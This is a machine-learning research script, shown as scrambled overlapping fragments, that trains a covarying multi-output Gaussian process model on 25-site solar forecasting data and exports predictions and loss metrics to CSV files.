k_f print('len link_inputs ',len(link_inputs))", "'/experiments/datasets/' dfile = 'p25_inputsdict.pickle' dlinkfile = 'p25_linkinputsarray.pickle' outdir = '/experiments/results/p25_nonsparse_cmmgp/'", "print(\"optimisation complete\") # export final predicted values and loss metrics", "= datasets.DataSet(Xtr.astype(np.float32), Ytr.astype(np.float32), shuffle=False) test = datasets.DataSet(Xte.astype(np.float32), Yte.astype(np.float32), shuffle=False) print(\"dataset", "import kernels import tensorflow as tf from mmgp import datasets", "predvar = [np.mean(np.mean(ypred[1]))] print(\"Final predvar \", predvar) with open(\"final_losses.csv\", 'w',", "block_struct, a nested list of grouping order Where functions [i]", "DISPLAY_STEP = FLAGS.display_step EPOCHS = FLAGS.n_epochs NUM_SAMPLES = FLAGS.mc_train PRED_SAMPLES", "Data training and test sets (dictionary pickle) Data for example:", "W row blocks, independent nodes # create 'between' kernel list", "- Sparse or full x-function covariance prior Krhh (set bool", "final predicted values and loss metrics ypred = m.predict(test.X, batch_size", "example below for further details. \"\"\" import os import numpy", "independent nodes # create 'between' kernel list klink_rows = [kernels.CompositeKernel('mul',[kernels.RadialBasis(2,", "created\") # model config block rows (where P=Q): block all", "in range(output_dim): idx = list(range(d_link.shape[0])) link_inputs[i] = d_link[[idx.pop(i)] + idx,", "import pickle import pandas as pd import traceback import time", "= BATCH_SIZE) #same batchsize used for convenience np.savetxt(\"predictions.csv\", np.concatenate(ypred, axis=1),", "all w.1, w.2 etc, leave f independent # order of", "FLAGS.mc_train PRED_SAMPLES = FLAGS.mc_test NUM_INDUCING = FLAGS.n_inducing NUM_COMPONENTS = FLAGS.num_components", "mmgp import losses from mmgp import util dpath = '/experiments/datasets/'", "numpy as np import pickle import pandas as pd import", "P = 25, D = 51 - Xtr[:, :50] 2", "= FLAGS.mc_test NUM_INDUCING = FLAGS.n_inducing NUM_COMPONENTS = FLAGS.num_components IS_ARD =", "= FLAGS.num_components IS_ARD = FLAGS.is_ard TOL = FLAGS.opt_tol VAR_STEPS =", "node_dim, output_dim * node_dim + output_dim))] block_struct = weight_struct +", "each site in order - Xtr[:, 50] time index -", "std_dev = 0.2) # p, q, lik_noise print(\"likelihood and kernels", "normalised lat,long for each site in order Model Options: -", "example: - normalised solar data for 25 sites for 15", "w.1, w.2 etc, leave f independent # order of block_struct", "csv import sys import mmgp from mmgp import likelihoods from", "BATCH_SIZE = FLAGS.batch_size LEARNING_RATE = FLAGS.learning_rate DISPLAY_STEP = FLAGS.display_step EPOCHS", "export fail') try: np.savetxt(\"nlpd_samples.csv\", nlpd_samples, delimiter=\",\") # NP x S", "are truncated to evenly split into batches of size =", "block rows (where P=Q): block all w.1, w.2 etc, leave", "\"generalised_nlpd\" + \"=\" + \"%.4f\" % m.nlpd_general(test.X, test.Y, batch_size =", "+ error_rate.get_name() + \"=\" + \"%.4f\" % error_rate.eval(test.Y, ypred[0])) print(\"Final", "# optimise o = tf.train.AdamOptimizer(LEARNING_RATE, beta1=0.9,beta2=0.99) print(\"start time = \",", "shuffle=False) print(\"dataset created\") # model config block rows (where P=Q):", "FLAGS.n_inducing NUM_COMPONENTS = FLAGS.num_components IS_ARD = FLAGS.is_ard TOL = FLAGS.opt_tol", "size = batchsize returns inputsdict, Xtr_link (ndarray, shape = [P,", "'w', newline='') as f: csv.writer(f).writerow(['epoch', 'batch_time', 'nelbo_time', 'pred_time', 'gen_nlpd_time', error_rate.get_name()+'_time'])", "k_rows + k_f print('len link_inputs ',len(link_inputs)) print('len kernlink ',len(kernlink)) print('len", "_ in range(output_dim)] for i in range(output_dim): idx = list(range(d_link.shape[0]))", "SPARSE_PRIOR = False # set True for equivalent sparse scmmgp", "pickle.load(f) with open(os.path.join(dpath, dlinkfile), 'rb') as f: d_link = pickle.load(f)", "range(output_dim): row = list(range(i, i+output_dim*(node_dim-1)+1, output_dim)) row_0 = row.pop(i) #", "import numpy as np import pickle import pandas as pd", "link_inputs = [[] for _ in range(output_dim)] for i in", "in error_rate_end] + ['pred_var'], [e.eval(test.Y, ypred[0]) for e in error_rate_end]", "FLAGS.opt_tol VAR_STEPS = FLAGS.var_steps DIAG_POST = False SPARSE_PRIOR = False", "+ nodes # create link inputs (link inputs used repeatedly", "for e in error_rate_end]) print([e.eval(test.Y, ypred[0]) for e in error_rate_end])", "Xte} where values are np.arrays np. arrays are truncated to", "= \", time.strftime('%X %x %Z')) m.fit(data, o, var_steps = VAR_STEPS,", "for 15 minute forecast - N_train = 4200, N_test =", "VAR_STEPS = FLAGS.var_steps DIAG_POST = False SPARSE_PRIOR = False SPARSE_POST", "= weight_struct + nodes # create link inputs (link inputs", "idx = list(range(d_link.shape[0])) link_inputs[i] = d_link[[idx.pop(i)] + idx, :] link_inputs", "likelihoods.CovaryingRegressionNetwork(output_dim, node_dim, std_dev = 0.2) # p, q, lik_noise print(\"likelihood", "time index - link inputs is a 25x2 array (link", "kernels.CompactSlice(2, active_dims=[0,1], lengthscale = 2.0, input_scaling = IS_ARD)] ) for", "open(\"log_comp_time.csv\", 'w', newline='') as f: csv.writer(f).writerow(['epoch', 'batch_time', 'nelbo_time', 'pred_time', 'gen_nlpd_time',", "dataset d, d_link = get_inputs() Ytr, Yte, Xtr, Xte =", "white=0.01, input_scaling = IS_ARD), kernels.CompactSlice(2, active_dims=[0,1], lengthscale = 2.0, input_scaling", "= m.predict(test.X, batch_size = BATCH_SIZE) #same batchsize used for convenience", "error_rate_end] + predvar]) print(\"finish time = \" + time.strftime('%X %x", "active_dims=[Xtr.shape[1]-1], lengthscale=0.5, std_dev=1.0, period = 144) ]) for i in", "list(range(i, i+output_dim*(node_dim-1)+1, output_dim)) row_0 = row.pop(i) # bring diag to", "', len(block_struct), 'no. latent functions =', len([i for b in", "as f: csv.writer(f).writerow(['epoch', 'raw_kernel_params', 'raw_kernlink_params', 'raw_likelihood_params', 'raw_weights']) with open(\"log_comp_time.csv\", 'w',", "import sklearn.cluster import csv import sys import mmgp from mmgp", "= FLAGS.n_inducing NUM_COMPONENTS = FLAGS.num_components IS_ARD = FLAGS.is_ard TOL =", "IS_ARD), kernels.CompactSlice(2, active_dims=[0,1], lengthscale = 2.0, input_scaling = IS_ARD)] )", "Note on specifying group structure for F: Grouping occurs via", "lag_active_dims_s = [ [] for _ in range(output_dim)] for i", "GPRN P and Q output_dim = 25 #P node_dim =", "BATCH_SIZE, display_step=DISPLAY_STEP, test = test, loss = error_rate, tolerance =", "True # option for non-diag post MAXTIME = 1200 print(\"settings", "pd import traceback import time import sklearn.cluster import csv import", "k_f print('len link_inputs ',len(link_inputs)) print('len kernlink ',len(kernlink)) print('len kern ',", "N x 2P as for predictions except: print('nlpd_meanvar export fail')", "kernel # kern lag_active_dims_s = [ [] for _ in", "F: Grouping occurs via block_struct, a nested list of grouping", "error_rate_end] + ['pred_var'], [e.eval(test.Y, ypred[0]) for e in error_rate_end] +", "- Diagonal or Kronecker-structured variational posterior covariance Sr (set bool", "'w', newline='') as f: csv.writer(f).writerows([[e.get_name() for e in error_rate_end] +", "SPARSE_PRIOR) - Diagonal or Kronecker-structured variational posterior covariance Sr (set", "link input per group) # permute to bring diagonal to", "[kernels.CompositeKernel('mul',[kernels.RadialBasis(2, std_dev=2.0, lengthscale=1.0, white=0.01, input_scaling = IS_ARD), kernels.CompactSlice(2, active_dims=[0,1], lengthscale", "# NP x S (NxS concat for P tasks) except:", "are np.arrays np. arrays are truncated to evenly split into", "for full W row blocks, independent nodes # create 'between'", "for b in block_struct for i in b])) print('number latent", "tolerance = TOL, max_time=MAXTIME ) print(\"optimisation complete\") # export final", "sklearn.cluster import csv import sys import mmgp from mmgp import", "1.0 See model class preamble and example below for further", "non-diag post MAXTIME = 1200 print(\"settings done\") # define GPRN", "link inputs (link inputs used repeatedly but can have link", "q, lik_noise print(\"likelihood and kernels set\") Z = init_z(data.X, NUM_INDUCING)", "% error_rate.eval(test.Y, ypred[0])) print(\"Final \" + \"generalised_nlpd\" + \"=\" +", "posterior): DIAG_POST = False SPARSE_PRIOR = False # set True", "mmgp model with sparse Kronecker posterior): DIAG_POST = False SPARSE_PRIOR", "std_dev = 1.0, white = 0.01, input_scaling = IS_ARD), kernels.PeriodicSliceFixed(1,", "False # set True for equivalent sparse scmmgp model SPARSE_POST", ") for i in range(output_dim) ] klink_f = [1.0 for", "datasets.DataSet(Xte.astype(np.float32), Yte.astype(np.float32), shuffle=False) print(\"dataset created\") # model config block rows", "= k_rows + k_f print('len link_inputs ',len(link_inputs)) print('len kernlink ',len(kernlink))", "# for full W row blocks, independent nodes # create", "batches of size = batchsize returns inputsdict, Xtr_link (ndarray, shape", "NUM_INDUCING) print('inducing points set') m = mmgp.ExplicitSCMMGP(output_dim, likelihood, kern, kernlink,", "return inducing_locations FLAGS = util.util.get_flags() BATCH_SIZE = FLAGS.batch_size LEARNING_RATE =", "#Q lag_dim = 2 save_nlpds = False # If True", "= 2.0, input_scaling = IS_ARD)] ) for i in range(output_dim)", "os.chdir(outdir) with open(\"log_results.csv\", 'w', newline='') as f: csv.writer(f).writerow(['epoch', 'fit_runtime', 'nelbo',", "#P node_dim = 25 #Q lag_dim = 2 save_nlpds =", "- normalised solar data for 25 sites for 15 minute", "2P as for predictions except: print('nlpd_meanvar export fail') try: np.savetxt(\"nlpd_samples.csv\",", "= [P, D_link_features]) \"\"\" with open(os.path.join(dpath, dfile), 'rb') as f:", "51 - Xtr[:, :50] 2 recent lagged observations for each", "= True # option for non-diag post MAXTIME = 1200", "weight_struct + nodes # create link inputs (link inputs used", "test.Y, batch_size = BATCH_SIZE)) error_rate_end = [losses.MeanAbsError(data.Dout)] # any extra", "in range(output_dim)] for i in range(output_dim): row = list(range(i, i+output_dim*(node_dim-1)+1,", "input_scaling = IS_ARD)] ) for i in range(output_dim) ] klink_f", "+ \"%.4f\" % error_rate.eval(test.Y, ypred[0])) print(\"Final \" + \"generalised_nlpd\" +", "# any extra accuracy measures at end of routine print(\"Final", "Ytr.astype(np.float32), shuffle=False) test = datasets.DataSet(Xte.astype(np.float32), Yte.astype(np.float32), shuffle=False) print(\"dataset created\") #", "d['Yte'], d['Xtr'], d['Xte'] data = datasets.DataSet(Xtr.astype(np.float32), Ytr.astype(np.float32), shuffle=False) test =", "group) # permute to bring diagonal to first position link_inputs", "Current Settings (sparse covarying mmgp model with sparse Kronecker posterior):", "Ytr, Yte, Xtr, Xte = d['Ytr'], d['Yte'], d['Xtr'], d['Xte'] data", "MAXTIME = 1200 print(\"settings done\") # define GPRN P and", "dpath = '/experiments/datasets/' dfile = 'p25_inputsdict.pickle' dlinkfile = 'p25_linkinputsarray.pickle' outdir", "ypred[0])) print(\"Final \" + \"generalised_nlpd\" + \"=\" + \"%.4f\" %", "True for equivalent sparse scmmgp model SPARSE_POST = True Note", "False # If True saves samples of nlpds for n,p,s", "link_kernel[i] = link_inputs[i] = 1.0 See model class preamble and", "f: d_link = pickle.load(f) return d_all, d_link def init_z(train_inputs, num_inducing):", "25x2 array (link inputs repeated for every group) with normalised", "klink_f # create 'within' kernel # kern lag_active_dims_s = [", "Xtr[:, 50] time index - link inputs is a 25x2", "block_struct = weight_struct + nodes # create link inputs (link", "= False SPARSE_POST = True # option for non-diag post", "d_all, d_link def init_z(train_inputs, num_inducing): # Initialize inducing points using", "m.predict(test.X, batch_size = BATCH_SIZE) #same batchsize used for convenience np.savetxt(\"predictions.csv\",", "newline='') as f: csv.writer(f).writerow(['epoch', 'batch_time', 'nelbo_time', 'pred_time', 'gen_nlpd_time', error_rate.get_name()+'_time']) #", "is rows, node functions # lists required: block_struct, link_inputs, kern_link,", "pickle import pandas as pd import traceback import time import", "{'Yte': Yte, 'Ytr': Ytr, 'Xtr': Xtr, 'Xte': Xte} where values", "= 25 #P node_dim = 25 #Q lag_dim = 2", "newline='') as f: csv.writer(f).writerows([[e.get_name() for e in error_rate_end] + ['pred_var'],", "normalised solar data for 25 sites for 15 minute forecast", "'nelbo', error_rate.get_name(),'generalised_nlpd']) with open(\"log_params.csv\", 'w', newline='') as f: csv.writer(f).writerow(['epoch', 'raw_kernel_params',", "=', len([i for b in block_struct for i in b]))", "= 25 #Q lag_dim = 2 save_nlpds = False #", "lag_dim*(i+1))) k_rows = [kernels.CompositeKernel('mul',[kernels.RadialBasisSlice(lag_dim, active_dims=lag_active_dims_s[i], std_dev = 1.0, white =", "= 1200 print(\"settings done\") # define GPRN P and Q", "Xtr, Xte = d['Ytr'], d['Yte'], d['Xtr'], d['Xte'] data = datasets.DataSet(Xtr.astype(np.float32),", "NUM_INDUCING = FLAGS.n_inducing NUM_COMPONENTS = FLAGS.num_components IS_ARD = FLAGS.is_ard TOL", "with full Krhh. Inputs: Data training and test sets (dictionary", "in range(output_dim)] # for full W row blocks, independent nodes", "error_rate.get_name() + \"=\" + \"%.4f\" % error_rate.eval(test.Y, ypred[0])) print(\"Final \"", "= mini_batch.fit_predict(train_inputs) inducing_locations = mini_batch.cluster_centers_ return inducing_locations FLAGS = util.util.get_flags()", "from mmgp import datasets from mmgp import losses from mmgp", "print('number latent functions', node_dim*(output_dim+1)) likelihood = likelihoods.CovaryingRegressionNetwork(output_dim, node_dim, std_dev =", "= IS_ARD), kernels.CompactSlice(2, active_dims=[0,1], lengthscale = 2.0, input_scaling = IS_ARD)]", "logging error_rate = losses.RootMeanSqError(data.Dout) os.chdir(outdir) with open(\"log_results.csv\", 'w', newline='') as", "import losses from mmgp import util dpath = '/experiments/datasets/' dfile", "save_nlpds == True: nlpd_samples, nlpd_meanvar = m.nlpd_samples(test.X, test.Y, batch_size =", "mmgp import datasets from mmgp import losses from mmgp import", "datasets.DataSet(Xtr.astype(np.float32), Ytr.astype(np.float32), shuffle=False) test = datasets.DataSet(Xte.astype(np.float32), Yte.astype(np.float32), shuffle=False) print(\"dataset created\")", "list klink_rows = [kernels.CompositeKernel('mul',[kernels.RadialBasis(2, std_dev=2.0, lengthscale=1.0, white=0.01, input_scaling = IS_ARD),", "in range(output_dim) ] klink_f = [1.0 for i in range(node_dim)]", "Sparse or full x-function covariance prior Krhh (set bool SPARSE_PRIOR)", "kernel list klink_rows = [kernels.CompositeKernel('mul',[kernels.RadialBasis(2, std_dev=2.0, lengthscale=1.0, white=0.01, input_scaling =", "'no. latent functions =', len([i for b in block_struct for", "solar data for 25 sites for 15 minute forecast -", "+ [1.0 for i in range(output_dim)] # for full W", "* node_dim + output_dim))] block_struct = weight_struct + nodes #", "Yte.astype(np.float32), shuffle=False) print(\"dataset created\") # model config block rows (where", "= get_inputs() Ytr, Yte, Xtr, Xte = d['Ytr'], d['Yte'], d['Xtr'],", "False SPARSE_PRIOR = False # set True for equivalent sparse", "pandas as pd import traceback import time import sklearn.cluster import", "num_samples=NUM_SAMPLES, predict_samples=PRED_SAMPLES) print(\"model set\") # initialise losses and logging error_rate", "x 2P as for predictions except: print('nlpd_meanvar export fail') try:", "= d['Ytr'], d['Yte'], d['Xtr'], d['Xte'] data = datasets.DataSet(Xtr.astype(np.float32), Ytr.astype(np.float32), shuffle=False)", "Where functions [i] are independent i.e. in own block, set", "losses and logging error_rate = losses.RootMeanSqError(data.Dout) os.chdir(outdir) with open(\"log_results.csv\", 'w',", "(set bool SPARSE_PRIOR) - Diagonal or Kronecker-structured variational posterior covariance", "\"\"\" Script to execute example covarying MMGP regression forecasting model", "[i] are independent i.e. in own block, set link_kernel[i] =", "likelihoods from mmgp import kernels import tensorflow as tf from", "* node_dim, output_dim * node_dim + output_dim))] block_struct = weight_struct", "i in range(output_dim) ] klink_f = [1.0 for i in", "[] for _ in range(output_dim)] for i in range(output_dim): lag_active_dims_s[i]", "SPARSE_POST = True # option for non-diag post MAXTIME =", "'raw_kernlink_params', 'raw_likelihood_params', 'raw_weights']) with open(\"log_comp_time.csv\", 'w', newline='') as f: csv.writer(f).writerow(['epoch',", "init_z(data.X, NUM_INDUCING) print('inducing points set') m = mmgp.ExplicitSCMMGP(output_dim, likelihood, kern,", "import datasets from mmgp import losses from mmgp import util", "block_struct, link_inputs, kern_link, kern #block_struct nested list of grouping order", "ypred[0]) for e in error_rate_end] + predvar]) print(\"finish time =", "'Ytr': Ytr, 'Xtr': Xtr, 'Xte': Xte} where values are np.arrays", "loss metrics ypred = m.predict(test.X, batch_size = BATCH_SIZE) #same batchsize", "\", predvar) with open(\"final_losses.csv\", 'w', newline='') as f: csv.writer(f).writerows([[e.get_name() for", "= 'p25_linkinputsarray.pickle' outdir = '/experiments/results/p25_nonsparse_cmmgp/' try: os.makedirs(outdir) except FileExistsError: pass", "b in block_struct for i in b])) print('number latent functions',", "Z = init_z(data.X, NUM_INDUCING) print('inducing points set') m = mmgp.ExplicitSCMMGP(output_dim,", "can have link input per group) # permute to bring", "create 'within' kernel # kern lag_active_dims_s = [ [] for", "4200, N_test = 2276, P = 25, D = 51", "batchsize returns inputsdict, Xtr_link (ndarray, shape = [P, D_link_features]) \"\"\"", "for i in b])) print('number latent functions', node_dim*(output_dim+1)) likelihood =", "SPARSE_POST) Current Settings (sparse covarying mmgp model with sparse Kronecker", "delimiter=\",\") if save_nlpds == True: nlpd_samples, nlpd_meanvar = m.nlpd_samples(test.X, test.Y,", "len(kern)) print('no. groups = ', len(block_struct), 'no. latent functions =',", "time = \", time.strftime('%X %x %Z')) m.fit(data, o, var_steps =", "as f: csv.writer(f).writerow(['epoch', 'batch_time', 'nelbo_time', 'pred_time', 'gen_nlpd_time', error_rate.get_name()+'_time']) # optimise", "model config block rows (where P=Q): block all w.1, w.2", "pass def get_inputs(): \"\"\" inputsdict contains {'Yte': Yte, 'Ytr': Ytr,", "and logging error_rate = losses.RootMeanSqError(data.Dout) os.chdir(outdir) with open(\"log_results.csv\", 'w', newline='')", "error_rate = losses.RootMeanSqError(data.Dout) os.chdir(outdir) with open(\"log_results.csv\", 'w', newline='') as f:", "create 'between' kernel list klink_rows = [kernels.CompositeKernel('mul',[kernels.RadialBasis(2, std_dev=2.0, lengthscale=1.0, white=0.01,", "specifying group structure for F: Grouping occurs via block_struct, a", "grouping order weight_struct = [[] for _ in range(output_dim)] for", "for i in range(node_dim)] kernlink = klink_rows + klink_f #", "# define GPRN P and Q output_dim = 25 #P", "(link inputs used repeatedly but can have link input per", "= [[] for _ in range(output_dim)] for i in range(output_dim):", "0.2) # p, q, lik_noise print(\"likelihood and kernels set\") Z", "with open(\"log_params.csv\", 'w', newline='') as f: csv.writer(f).writerow(['epoch', 'raw_kernel_params', 'raw_kernlink_params', 'raw_likelihood_params',", "for non-diag post MAXTIME = 1200 print(\"settings done\") # define", "lengthscale=0.5, std_dev=1.0, period = 144) ]) for i in range(output_dim)]", "list(range(d_link.shape[0])) link_inputs[i] = d_link[[idx.pop(i)] + idx, :] link_inputs = link_inputs", "Xtr, 'Xte': Xte} where values are np.arrays np. arrays are", "f: csv.writer(f).writerow(['epoch', 'batch_time', 'nelbo_time', 'pred_time', 'gen_nlpd_time', error_rate.get_name()+'_time']) # optimise o", "list of grouping order Where functions [i] are independent i.e.", "e in error_rate_end]) print([e.eval(test.Y, ypred[0]) for e in error_rate_end]) predvar", "with open(os.path.join(dpath, dlinkfile), 'rb') as f: d_link = pickle.load(f) return", "IS_ARD = FLAGS.is_ard TOL = FLAGS.opt_tol VAR_STEPS = FLAGS.var_steps DIAG_POST", "permute to bring diagonal to first position link_inputs = [[]", "f: csv.writer(f).writerow(['epoch', 'fit_runtime', 'nelbo', error_rate.get_name(),'generalised_nlpd']) with open(\"log_params.csv\", 'w', newline='') as", "max_time=MAXTIME ) print(\"optimisation complete\") # export final predicted values and", "in block_struct for i in b])) print('number latent functions', node_dim*(output_dim+1))", "mmgp import util dpath = '/experiments/datasets/' dfile = 'p25_inputsdict.pickle' dlinkfile", "range(output_dim): lag_active_dims_s[i] = list(range(lag_dim*i, lag_dim*(i+1))) k_rows = [kernels.CompositeKernel('mul',[kernels.RadialBasisSlice(lag_dim, active_dims=lag_active_dims_s[i], std_dev", "order of block_struct is rows, node functions # lists required:", "i in range(output_dim)] # for full W row blocks, independent", "predictions except: print('nlpd_meanvar export fail') try: np.savetxt(\"nlpd_samples.csv\", nlpd_samples, delimiter=\",\") #", "site in order - Xtr[:, 50] time index - link", "have link input per group) # permute to bring diagonal", "node_dim*(output_dim+1)) likelihood = likelihoods.CovaryingRegressionNetwork(output_dim, node_dim, std_dev = 0.2) # p,", "if save_nlpds == True: nlpd_samples, nlpd_meanvar = m.nlpd_samples(test.X, test.Y, batch_size", "FLAGS = util.util.get_flags() BATCH_SIZE = FLAGS.batch_size LEARNING_RATE = FLAGS.learning_rate DISPLAY_STEP", "print('nlpd_samples export fail') print(\"Final \" + error_rate.get_name() + \"=\" +", "Ytr, 'Xtr': Xtr, 'Xte': Xte} where values are np.arrays np.", "csv.writer(f).writerow(['epoch', 'raw_kernel_params', 'raw_kernlink_params', 'raw_likelihood_params', 'raw_weights']) with open(\"log_comp_time.csv\", 'w', newline='') as", "= [kernels.RadialBasisSlice(lag_dim, active_dims=lag_active_dims_s[i], std_dev = 1.0, white = 0.01, input_scaling", "set link_kernel[i] = link_inputs[i] = 1.0 See model class preamble", "var_steps = VAR_STEPS, epochs = EPOCHS, batch_size = BATCH_SIZE, display_step=DISPLAY_STEP,", "and test sets (dictionary pickle) Data for example: - normalised", "d_link = pickle.load(f) return d_all, d_link def init_z(train_inputs, num_inducing): #", "of nlpds for n,p,s # extract dataset d, d_link =", "= False SPARSE_PRIOR = False # set True for equivalent", "TOL, max_time=MAXTIME ) print(\"optimisation complete\") # export final predicted values", "in range(output_dim): lag_active_dims_s[i] = list(range(lag_dim*i, lag_dim*(i+1))) k_rows = [kernels.CompositeKernel('mul',[kernels.RadialBasisSlice(lag_dim, active_dims=lag_active_dims_s[i],", "EPOCHS, batch_size = BATCH_SIZE, display_step=DISPLAY_STEP, test = test, loss =", "# permute to bring diagonal to first position link_inputs =", "+ k_f print('len link_inputs ',len(link_inputs)) print('len kernlink ',len(kernlink)) print('len kern", "independent # order of block_struct is rows, node functions #", "# set True for equivalent sparse scmmgp model SPARSE_POST =", "BATCH_SIZE)) error_rate_end = [losses.MeanAbsError(data.Dout)] # any extra accuracy measures at", "[e.eval(test.Y, ypred[0]) for e in error_rate_end] + predvar]) print(\"finish time", "row blocks, independent nodes # create 'between' kernel list klink_rows", "lik_noise print(\"likelihood and kernels set\") Z = init_z(data.X, NUM_INDUCING) print('inducing", "data for 25 sites for 15 minute forecast - N_train", "+ ['pred_var'], [e.eval(test.Y, ypred[0]) for e in error_rate_end] + predvar])", "try: np.savetxt(\"nlpd_samples.csv\", nlpd_samples, delimiter=\",\") # NP x S (NxS concat", "15 minute forecast - N_train = 4200, N_test = 2276,", "np.concatenate(ypred, axis=1), delimiter=\",\") if save_nlpds == True: nlpd_samples, nlpd_meanvar =", "FileExistsError: pass def get_inputs(): \"\"\" inputsdict contains {'Yte': Yte, 'Ytr':", "Kronecker posterior): DIAG_POST = False SPARSE_PRIOR = False # set", "for _ in range(output_dim)] for i in range(output_dim): lag_active_dims_s[i] =", "range(output_dim) ] klink_f = [1.0 for i in range(node_dim)] kernlink", "order Where functions [i] are independent i.e. in own block,", "for n,p,s # extract dataset d, d_link = get_inputs() Ytr,", "for P tasks) except: print('nlpd_samples export fail') print(\"Final \" +", "per group) # permute to bring diagonal to first position", "= mini_batch.cluster_centers_ return inducing_locations FLAGS = util.util.get_flags() BATCH_SIZE = FLAGS.batch_size", "True saves samples of nlpds for n,p,s # extract dataset", "set True for equivalent sparse scmmgp model SPARSE_POST = True", "for each site in order - Xtr[:, 50] time index", "(set bool DIAG_POST) - Sparse or full posterior covariance (when", "list(range(output_dim * node_dim, output_dim * node_dim + output_dim))] block_struct =", "create link inputs (link inputs used repeatedly but can have", "klink_rows = [kernels.CompositeKernel('mul',[kernels.RadialBasis(2, std_dev=2.0, lengthscale=1.0, white=0.01, input_scaling = IS_ARD), kernels.CompactSlice(2,", "scmmgp model SPARSE_POST = True Note on specifying group structure", "= likelihoods.CovaryingRegressionNetwork(output_dim, node_dim, std_dev = 0.2) # p, q, lik_noise", "extract dataset d, d_link = get_inputs() Ytr, Yte, Xtr, Xte", "dlinkfile), 'rb') as f: d_link = pickle.load(f) return d_all, d_link", "data = datasets.DataSet(Xtr.astype(np.float32), Ytr.astype(np.float32), shuffle=False) test = datasets.DataSet(Xte.astype(np.float32), Yte.astype(np.float32), shuffle=False)", "See model class preamble and example below for further details.", "predict_samples=PRED_SAMPLES) print(\"model set\") # initialise losses and logging error_rate =", "execute example covarying MMGP regression forecasting model with full Krhh.", "= init_z(data.X, NUM_INDUCING) print('inducing points set') m = mmgp.ExplicitSCMMGP(output_dim, likelihood,", "predvar) with open(\"final_losses.csv\", 'w', newline='') as f: csv.writer(f).writerows([[e.get_name() for e", "sparse Kronecker posterior): DIAG_POST = False SPARSE_PRIOR = False #", "= 0.01, input_scaling = IS_ARD) for i in range(output_dim)] kern", "site in order Model Options: - Sparse or full x-function", "d['Ytr'], d['Yte'], d['Xtr'], d['Xte'] data = datasets.DataSet(Xtr.astype(np.float32), Ytr.astype(np.float32), shuffle=False) test", "for example: - normalised solar data for 25 sites for", "\"\"\" with open(os.path.join(dpath, dfile), 'rb') as f: d_all = pickle.load(f)", "delimiter=\",\") # NP x S (NxS concat for P tasks)", "with sparse Kronecker posterior): DIAG_POST = False SPARSE_PRIOR = False", "define GPRN P and Q output_dim = 25 #P node_dim", "list of grouping order weight_struct = [[] for _ in", "but can have link input per group) # permute to", "etc, leave f independent # order of block_struct is rows,", "range(output_dim)] # for full W row blocks, independent nodes #", "['pred_var'], [e.eval(test.Y, ypred[0]) for e in error_rate_end] + predvar]) print(\"finish", "inputs used repeatedly but can have link input per group)", "Data for example: - normalised solar data for 25 sites", "Script to execute example covarying MMGP regression forecasting model with", "lag_dim = 2 save_nlpds = False # If True saves", "+ \"%.4f\" % m.nlpd_general(test.X, test.Y, batch_size = BATCH_SIZE)) error_rate_end =", "Sr (set bool DIAG_POST) - Sparse or full posterior covariance", "forecast - N_train = 4200, N_test = 2276, P =", "bring diagonal to first position link_inputs = [[] for _", "+ predvar]) print(\"finish time = \" + time.strftime('%X %x %Z'))", "MMGP regression forecasting model with full Krhh. Inputs: Data training", "row nodes = [[x] for x in list(range(output_dim * node_dim,", "[ [] for _ in range(output_dim)] for i in range(output_dim):", "i in b])) print('number latent functions', node_dim*(output_dim+1)) likelihood = likelihoods.CovaryingRegressionNetwork(output_dim,", "output_dim = 25 #P node_dim = 25 #Q lag_dim =", "num_components=NUM_COMPONENTS, diag_post=DIAG_POST, sparse_prior=SPARSE_PRIOR, sparse_post=SPARSE_POST, num_samples=NUM_SAMPLES, predict_samples=PRED_SAMPLES) print(\"model set\") # initialise", "likelihood, kern, kernlink, block_struct, Z, link_inputs, num_components=NUM_COMPONENTS, diag_post=DIAG_POST, sparse_prior=SPARSE_PRIOR, sparse_post=SPARSE_POST,", "# initialise losses and logging error_rate = losses.RootMeanSqError(data.Dout) os.chdir(outdir) with", "newline='') as f: csv.writer(f).writerow(['epoch', 'fit_runtime', 'nelbo', error_rate.get_name(),'generalised_nlpd']) with open(\"log_params.csv\", 'w',", "full x-function covariance prior Krhh (set bool SPARSE_PRIOR) - Diagonal", "Settings (sparse covarying mmgp model with sparse Kronecker posterior): DIAG_POST", "from mmgp import util dpath = '/experiments/datasets/' dfile = 'p25_inputsdict.pickle'", "[row_0] + row nodes = [[x] for x in list(range(output_dim", "convenience np.savetxt(\"predictions.csv\", np.concatenate(ypred, axis=1), delimiter=\",\") if save_nlpds == True: nlpd_samples,", "= FLAGS.n_epochs NUM_SAMPLES = FLAGS.mc_train PRED_SAMPLES = FLAGS.mc_test NUM_INDUCING =", "BATCH_SIZE) #same batchsize used for convenience np.savetxt(\"predictions.csv\", np.concatenate(ypred, axis=1), delimiter=\",\")", "block_struct for i in b])) print('number latent functions', node_dim*(output_dim+1)) likelihood", "mini_batch = sklearn.cluster.MiniBatchKMeans(num_inducing) cluster_indices = mini_batch.fit_predict(train_inputs) inducing_locations = mini_batch.cluster_centers_ return", "further details. \"\"\" import os import numpy as np import", "repeated for every group) with normalised lat,long for each site", "set\") # initialise losses and logging error_rate = losses.RootMeanSqError(data.Dout) os.chdir(outdir)", "len(block_struct), 'no. latent functions =', len([i for b in block_struct", "open(\"log_params.csv\", 'w', newline='') as f: csv.writer(f).writerow(['epoch', 'raw_kernel_params', 'raw_kernlink_params', 'raw_likelihood_params', 'raw_weights'])", "DIAG_POST = False SPARSE_PRIOR = False SPARSE_POST = True #", "newline='') as f: csv.writer(f).writerow(['epoch', 'raw_kernel_params', 'raw_kernlink_params', 'raw_likelihood_params', 'raw_weights']) with open(\"log_comp_time.csv\",", "kern ', len(kern)) print('no. groups = ', len(block_struct), 'no. latent", "inducing_locations FLAGS = util.util.get_flags() BATCH_SIZE = FLAGS.batch_size LEARNING_RATE = FLAGS.learning_rate", "= tf.train.AdamOptimizer(LEARNING_RATE, beta1=0.9,beta2=0.99) print(\"start time = \", time.strftime('%X %x %Z'))", "[[x] for x in list(range(output_dim * node_dim, output_dim * node_dim", "full W row blocks, independent nodes # create 'between' kernel", "extra accuracy measures at end of routine print(\"Final \", [e.get_name()", "nlpd_meanvar, delimiter=\",\") # N x 2P as for predictions except:", "with normalised lat,long for each site in order Model Options:", "144) ]) for i in range(output_dim)] k_f = [kernels.RadialBasisSlice(lag_dim, active_dims=lag_active_dims_s[i],", "',len(link_inputs)) print('len kernlink ',len(kernlink)) print('len kern ', len(kern)) print('no. groups", "print(\"model set\") # initialise losses and logging error_rate = losses.RootMeanSqError(data.Dout)", "sites for 15 minute forecast - N_train = 4200, N_test", "via block_struct, a nested list of grouping order Where functions", "for x in list(range(output_dim * node_dim, output_dim * node_dim +", 